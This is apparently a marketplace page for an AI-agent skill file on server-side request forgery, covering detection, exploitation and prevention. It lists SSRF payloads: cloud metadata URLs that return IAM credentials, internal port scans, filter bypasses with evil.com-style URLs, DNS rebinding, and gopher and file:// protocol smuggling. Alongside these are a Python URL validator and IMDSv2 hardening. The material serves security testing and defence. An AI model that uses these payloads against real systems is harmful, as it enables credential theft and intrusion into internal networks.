Best use case
SSRF Detection is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
## Overview
Teams using SSRF Detection should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/ssrf-detection/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How SSRF Detection Compares
| Feature / Agent | SSRF Detection | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
## Overview
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# SSRF Detection
## Overview
Find, exploit, and fix Server-Side Request Forgery. SSRF tricks the server into making HTTP requests to unintended destinations — accessing internal services, cloud metadata, or other systems that the server can reach but the attacker cannot.
## Instructions
### How SSRF Works
```
Normal flow:
User → Server → External API (intended)
SSRF attack:
User sends: url=http://169.254.169.254/latest/meta-data/
Server → AWS Metadata Service (unintended)
Server returns: IAM credentials, instance info, etc.
```
Any feature that takes a URL from user input and fetches it server-side is a potential SSRF vector:
- Image/file URL imports ("paste image URL")
- Webhook configurations
- PDF generators that fetch external resources
- URL preview/unfurl features (Slack-style link previews)
- API integrations with user-provided endpoints
- RSS/feed readers
- Document converters
### SSRF Types
### Non-blind (classic) SSRF
The server returns the response body to the attacker:
```
Request: GET /fetch?url=http://internal-api:8080/admin/users
Response: {"users": [...all internal user data...]}
The attacker sees the response from the internal service.
```
### Blind SSRF
The server makes the request but doesn't return the response body. The attacker confirms SSRF through:
```
1. Timing differences:
url=http://10.0.0.1:22 (SSH port — fast connection)
url=http://10.0.0.1:12345 (closed port — timeout)
Different response times confirm port is open/closed
2. Out-of-band callbacks:
url=http://attacker-controlled.burpcollaborator.net
If the server sends a DNS/HTTP request to your server, SSRF confirmed
3. Error message differences:
url=http://10.0.0.1 → "Connection refused" (host exists)
url=http://10.0.0.99 → "Host unreachable" (host doesn't exist)
```
### Semi-blind SSRF
The full response isn't returned, but partial information leaks — error messages, response times, status codes, or content length.
### Detection and Exploitation
### Testing methodology
```
1. IDENTIFY input points that accept URLs:
- Search for parameters: url=, uri=, path=, src=, dest=, redirect=,
link=, feed=, host=, site=, callback=, webhook=, proxy=
- Look for features: "import from URL", "add webhook", "preview link"
2. TEST with external callback:
url=http://your-burp-collaborator.com
url=http://your-server.com/ssrf-test
→ If you receive the request, basic SSRF confirmed
3. TEST internal access:
url=http://localhost
url=http://127.0.0.1
url=http://[::1] # IPv6 localhost
url=http://169.254.169.254 # AWS metadata
url=http://metadata.google.internal # GCP metadata
url=http://100.100.100.200 # Azure metadata
4. MAP internal network:
url=http://10.0.0.1 through url=http://10.0.0.255
url=http://172.16.0.1 through url=http://172.31.255.255
url=http://192.168.0.1 through url=http://192.168.255.255
→ Use response time/error differences to identify live hosts
5. SCAN internal ports:
url=http://10.0.0.5:22 (SSH)
url=http://10.0.0.5:3306 (MySQL)
url=http://10.0.0.5:6379 (Redis)
url=http://10.0.0.5:9200 (Elasticsearch)
```
### Cloud metadata exploitation
Cloud instances have metadata services accessible at well-known IPs:
```
AWS (most impactful — can yield IAM credentials):
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
→ Returns: AccessKeyId, SecretAccessKey, Token
GCP:
http://metadata.google.internal/computeMetadata/v1/
Header required: Metadata-Flavor: Google
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header required: Metadata: true
DigitalOcean:
http://169.254.169.254/metadata/v1/
```
### Filter bypass techniques
When basic SSRF payloads are blocked:
```
IP address obfuscation:
127.0.0.1 → 2130706433 (decimal)
127.0.0.1 → 0x7f000001 (hex)
127.0.0.1 → 0177.0.0.1 (octal)
127.0.0.1 → 127.1 (short form)
127.0.0.1 → 0 (on some systems)
DNS rebinding:
Register a domain that resolves to 127.0.0.1
First resolution → external IP (passes allowlist check)
Second resolution → 127.0.0.1 (actual request)
Tools: rebind.it, taviso/rbndr
URL parsing tricks:
http://evil.com#@expected.com # Fragment confusion
http://expected.com@evil.com # Username in URL
http://evil.com/..;/internal # Path traversal
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ # Unicode normalization
Protocol smuggling:
gopher://127.0.0.1:6379/_*3%0d%0a... # Redis commands via gopher
dict://127.0.0.1:6379/info # Redis info via dict protocol
file:///etc/passwd # Local file read
```
### Prevention
### URL validation
```python
# ssrf_prevention.py
# Validate URLs to prevent SSRF attacks
import ipaddress
import socket
from urllib.parse import urlparse
BLOCKED_NETWORKS = [
ipaddress.ip_network('10.0.0.0/8'), # Private
ipaddress.ip_network('172.16.0.0/12'), # Private
ipaddress.ip_network('192.168.0.0/16'), # Private
ipaddress.ip_network('127.0.0.0/8'), # Loopback
ipaddress.ip_network('169.254.0.0/16'), # Link-local (metadata)
ipaddress.ip_network('100.64.0.0/10'), # Carrier-grade NAT
ipaddress.ip_network('::1/128'), # IPv6 loopback
ipaddress.ip_network('fc00::/7'), # IPv6 private
ipaddress.ip_network('fe80::/10'), # IPv6 link-local
]
def validate_url(url: str) -> bool:
"""Validate a user-provided URL is safe to fetch.
Checks: scheme allowlist, DNS resolution to non-private IP,
no IP address obfuscation, no redirect to internal networks.
Args:
url: User-provided URL to validate
Returns:
True if URL is safe to fetch
Raises:
ValueError: If URL is blocked for SSRF prevention
"""
parsed = urlparse(url)
# 1. Scheme allowlist — only http and https
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"Blocked scheme: {parsed.scheme}")
# 2. No IP addresses in URL — force DNS resolution
hostname = parsed.hostname
if not hostname:
raise ValueError("No hostname in URL")
# 3. Resolve DNS and check against blocked networks
try:
resolved_ips = socket.getaddrinfo(hostname, parsed.port or 443)
except socket.gaierror:
raise ValueError(f"Cannot resolve: {hostname}")
for family, type_, proto, canonname, sockaddr in resolved_ips:
ip = ipaddress.ip_address(sockaddr[0])
for network in BLOCKED_NETWORKS:
if ip in network:
raise ValueError(
f"Blocked: {hostname} resolves to private IP {ip}"
)
return True
```
### Cloud metadata protection
```bash
# AWS: Require IMDSv2 (token-based) — blocks SSRF because
# the attacker can't set the required PUT header through SSRF
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890 \
--http-tokens required \
--http-endpoint enabled
# GCP: Metadata service already requires header
# Metadata-Flavor: Google — blocks basic SSRF
# But some HTTP libraries add custom headers from redirects
# Network-level: Block metadata IP in firewall rules
iptables -A OUTPUT -d 169.254.169.254 -j DROP # Nuclear option
# Better: use IMDSv2 + application-level URL validation
```
### Architecture-level defenses
```
1. NETWORK SEGMENTATION
Don't let web servers reach internal services directly.
Use a dedicated proxy/gateway for outbound requests.
2. DEDICATED FETCHER SERVICE
Move URL fetching to an isolated microservice with:
- Its own network policy (can't reach internal services)
- Allowlist of permitted destination domains
- Response size limits
- Timeout limits
3. DNS RESOLUTION PINNING
Resolve DNS BEFORE making the request.
Use the resolved IP for the actual connection.
This prevents DNS rebinding attacks.
4. DISABLE UNNECESSARY PROTOCOLS
Block: gopher://, file://, dict://, ftp://
Allow only: http://, https://
```
## Examples
### Test a web application for SSRF
```prompt
Our web application has a "fetch URL" feature that generates link previews. Test it for SSRF vulnerabilities: check if it can reach internal services (localhost, private IPs, cloud metadata), test filter bypasses (IP encoding, DNS rebinding, protocol smuggling), and map any accessible internal network. For each finding, demonstrate the impact and provide a proof-of-concept. We're running on AWS EC2.
```
### Secure a URL fetching feature against SSRF
```prompt
Our Node.js application has an endpoint that accepts a URL and fetches content for preview cards (similar to Slack's link unfurling). It currently uses axios with no validation. Implement comprehensive SSRF prevention: URL validation with DNS resolution checks, private IP blocking (including IPv6), scheme allowlist, redirect following with re-validation at each hop, timeout and size limits, and IMDSv2 enforcement on our AWS infrastructure.
```
### Audit cloud infrastructure for SSRF exposure
```prompt
Audit our AWS infrastructure for SSRF exposure. Check all EC2 instances for IMDSv1 (should be IMDSv2 only), review security groups for overly permissive internal access, identify application endpoints that accept URLs, and verify network segmentation between web-facing services and internal databases. Produce a risk report with prioritized remediation steps.
```
## Guidelines
- Only test for SSRF on applications you have explicit written authorization to test
- Cloud metadata exploitation can expose real IAM credentials — handle findings as sensitive data and report through secure channels
- SSRF testing against internal networks can disrupt services — coordinate with the infrastructure team before scanning internal IP ranges
- Always implement both application-level URL validation and network-level controls (IMDSv2, network segmentation) as defense-in-depth
- DNS rebinding bypasses require a controlled domain — never use rebinding against targets without explicit scope authorization
- Report all SSRF findings through responsible disclosure, especially when cloud credentials are exposedRelated Skills
pattern-detection
Detect patterns, anomalies, and trends in code and data. Use when identifying code smells, finding security vulnerabilities, or discovering recurring patterns. Handles regex patterns, AST analysis, and statistical anomaly detection.
when-detecting-fake-code-use-theater-detection
Detects non-functional "theater" code that appears complete but doesn't actually work. Use this skill to identify code that looks correct in static analysis but fails during execution, preventing fake implementations from reaching production. Scans for suspicious patterns, validates actual functionality, and reports findings with recommendations.
theater-detection-audit
Performs comprehensive audits to detect placeholder code, mock data, TODO markers, and incomplete implementations in codebases. Use this skill when you need to find all instances of "theater" in code such as hardcoded mock responses, stub functions, commented-out production logic, or fake data that needs to be replaced with real implementations. The skill systematically identifies these instances, reads their full context, and completes them with production-quality code.
library-detection
Detect project stack from package manifests (package.json, pyproject.toml, go.mod, Cargo.toml, pubspec.yaml, CMakeLists.txt). Auto-identify frameworks, test tools, and build systems for onboarding.
detection-sigma
Generic detection rule creation and management using Sigma, the universal SIEM rule format. Sigma provides vendor-agnostic detection logic for log analysis across multiple SIEM platforms. Use when: (1) Creating detection rules for security monitoring, (2) Converting rules between SIEM platforms (Splunk, Elastic, QRadar, Sentinel), (3) Threat hunting with standardized detection patterns, (4) Building detection-as-code pipelines, (5) Mapping detections to MITRE ATT&CK tactics, (6) Implementing compliance-based monitoring rules.
Benchmark — Performance Baseline & Regression Detection
## When to Use
XSS Detection
## Overview
Falco — Runtime Threat Detection
## Overview
SKILL: Server-Side Request Forgery (SSRF)
## Metadata
SKILL: Endpoint Detection and Response
## Metadata
Prompt Guard - Prompt Injection & Jailbreak Detection
Prompt Guard is an 86M parameter classifier that detects prompt injections and jailbreak attempts in LLM applications.
Daily Logs
Record the user's daily activities, progress, decisions, and learnings in a structured, chronological format.